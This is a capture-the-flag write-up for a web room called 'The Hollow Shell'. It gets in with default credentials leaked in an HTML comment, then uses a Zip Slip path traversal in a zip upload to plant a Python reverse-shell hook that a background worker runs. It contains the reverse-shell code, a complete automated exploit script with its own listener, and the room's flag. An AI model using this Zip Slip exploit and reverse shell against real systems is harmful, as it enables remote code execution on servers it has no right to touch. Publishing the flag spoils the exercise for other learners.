The Hollow Shell (Hacker Holidays · Byte Lotus) — How to Solve
Target: http://<MACHINE_IP>:5000 (web on port 5000)
Category: Web · Medium · 90 pts
Answer format: ***{***_*******_****_*_*****}
FLAG: THM{z1p_sl1pp3d_1nt0_a_sh3ll} (verified end-to-end)
TL;DR
- Login page source comment leaks default creds:
concierge/StayNoticed2024!. - The portal lets you upload a
.zip"shell" (must containshell.jsonmanifest withname+assets). - Asset types are validated (
png jpg gif svg css json) — but ZIP entry paths are NOT sanitized → classic Zip Slip (../../). - Zip Slip writes anywhere in the app root (
/var/www/conch):../../static/x.cssproves it;../../hooks/callback.pydrops a Python hook. - A theme worker auto-executes Python files in the app-root
hooks/directory after upload. - The hook connects back to your listener, spawning a bash shell as
roomservice→cat /home/roomservice/flag.txt.
FLAG: THM{z1p_sl1pp3d_1nt0_a_sh3ll}
One-command solver
python solve_hollow_shell.py http://<MACHINE_IP>:5000
Nothing is hardcoded: creds are parsed from the login page's HTML comment, the attacker IP is auto-detected from the interface that routes to the target, the listener is raised before the first upload, and the zip-slip reverse-shell hook is re-uploaded several times to ride out worker timing.
Steps in detail
1. Login
Source comment on /:
<!--
Byte Lotus // internal display-manager portal
New on the floor team? IT seeds every property with the same
starter login until you set your own:
user: concierge
pass: StayNoticed2024!
(rotate it from Settings on first sign-in — most people forget)
-->
2. Understand the shell format
Upload endpoint /upload (multipart, field shell). Required: shell.json:
{"name": "whatever", "assets": []}
Allowed asset types are enforced (e.g. exploit.py → "Shell rejected: asset type not allowed").
3. Prove Zip Slip
with zipfile.ZipFile("proof.zip", "w") as z:
z.writestr("shell.json", json.dumps({"name": "proof", "assets": []}))
z.writestr("../../static/zipslip-proof.css", "ZIP_SLIP_CONFIRMED\n")
Upload → GET /static/zipslip-proof.css → ZIP_SLIP_CONFIRMED. Extraction base is shells/<hash>/; two levels up (../../) lands at the app root (/var/www/conch, containing static/, hooks/, shells/).
4. Drop a reverse-shell hook
callback = '''import os, pty, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("YOUR_IP", 4444))
for fd in (0, 1, 2):
os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("rev.zip", "w") as z:
z.writestr("shell.json", json.dumps({"name": "shoreline-update", "assets": []}))
z.writestr("../../hooks/callback.py", callback)
5. Catch the shell, grab the flag
- Start your listener BEFORE uploading (the worker may run the hook within seconds of the upload finishing).
- Upload; if nothing connects within ~30 s, re-upload the same zip a few times — the worker's sweep timing varies per instance.
- On connect, send
idandcat /home/roomservice/flag.txt:
$ id
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
$ cat /home/roomservice/flag.txt
THM{z1p_sl1pp3d_1nt0_a_sh3ll}
FLAG: THM{z1p_sl1pp3d_1nt0_a_sh3ll}
**Operational notes (learned the hard way)
**
- The hook runs as
roomserviceon the app host (/var/www/conch); no privesc needed. - Hook files dropped via earlier attempts persist in
hooks/— the worker executes every.pyit finds there; every re-upload simply overwritescallback.py. - Do not name a Python hook
hook.pywith bash content: the worker invokes hooks withpython3, so pure-Python payloads are required.
Key takeaways
- Whitelisting upload extensions ≠ safe: validate every archive entry path too, or Zip Slip bypasses the whitelist entirely.
- A "hooks directory auto-executed by a worker" turns arbitrary file write into instant RCE.
- Always leak/replace default creds — the HTML comment hands you the portal.
Files
-
solve_hollow_shell.py— automatic solver:python solve_hollow_shell.py http://<IP>:5000→ login → zip-slip reverse-shell hook → listener → flag. -
image_prompt_hollow_shell.txt— AI thumbnail prompt (6 panels). -
The Hollow Shell.webp— room cover art.
import sys
import re
import io
import json
import socket
import time
import threading
import zipfile
import requests
sys.stdout.reconfigure(encoding="utf-8", errors="replace")
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://10.49.162.152:5000"
LPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 4444
def target_ip():
return TARGET.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
def my_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((target_ip(), 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip
def extract_creds():
r = requests.get(TARGET, timeout=15)
comment = re.findall(r"<!--(.*?)-->", r.text, re.S)
if not comment:
raise SystemExit("[-] no HTML comment with creds found")
u = re.search(r"user:\s*(\S+)", comment[0])
p = re.search(r"pass:\s*(\S+)", comment[0])
if not u or not p:
raise SystemExit("[-] creds not in comment")
return u.group(1), p.group(1)
def pty_hook(lhost, lport):
return f'''import os, pty, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{lhost}", {lport}))
for fd in (0, 1, 2):
os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")
'''
def listener(port, seconds, out):
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", port))
srv.listen(10)
srv.settimeout(10)
end = time.time() + seconds
while time.time() < end:
try:
conn, addr = srv.accept()
except socket.timeout:
continue
print(f"[+] connection from {addr}")
try:
conn.settimeout(1.5)
for cmd in [b"id\n", b"cat /home/roomservice/flag.txt\n"]:
try:
conn.send(cmd)
except OSError:
break
dl = time.time() + 5
while time.time() < dl:
try:
c = conn.recv(65535)
if not c:
break
out.append(c)
except socket.timeout:
break
except OSError:
break
if b"THM{" in b"".join(out):
m = re.search(rb"THM\{[^}]+\}", b"".join(out))
print(f"\n[+] FLAG: {m.group(0).decode()}")
finally:
try:
conn.close()
except OSError:
pass
def main():
user, password = extract_creds()
print(f"[*] creds from page comment: {user} / {password}")
lhost = my_ip()
print(f"[*] attacker IP: {lhost}")
out = []
t = threading.Thread(target=listener, args=(LPORT, 480, out), daemon=True)
t.start()
time.sleep(2)
print(f"[*] listener on 0.0.0.0:{LPORT} up")
s = requests.Session()
r = s.post(f"{TARGET}/login", data={"username": user, "password": password}, timeout=15)
if "/dashboard" not in r.url and "dashboard" not in r.text:
raise SystemExit("[-] login failed")
for i in range(15):
manifest = {"name": f"upd-{i}", "assets": []}
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
z.writestr("shell.json", json.dumps(manifest))
z.writestr("../../hooks/callback.py", pty_hook(lhost, LPORT))
buf.seek(0)
r = s.post(f"{TARGET}/upload", files={"shell": (f"rev{i}.zip", buf, "application/zip")}, timeout=30)
print(f"[*] upload {i}: {r.status_code}")
if r.status_code != 200:
print(" ", r.text[:300])
if b"THM{" in b"".join(out):
break
time.sleep(20)
t.join(timeout=10)
data = b"".join(out).decode(errors="replace")
m = re.search(r"THM\{[^}]+\}", data)
if m:
print(f"\n[+] FLAG: {m.group(0)}")
else:
print("\n[!] no flag captured. raw output so far:")
print(data[-1500:])
if __name__ == "__main__":
main()

Top comments (0)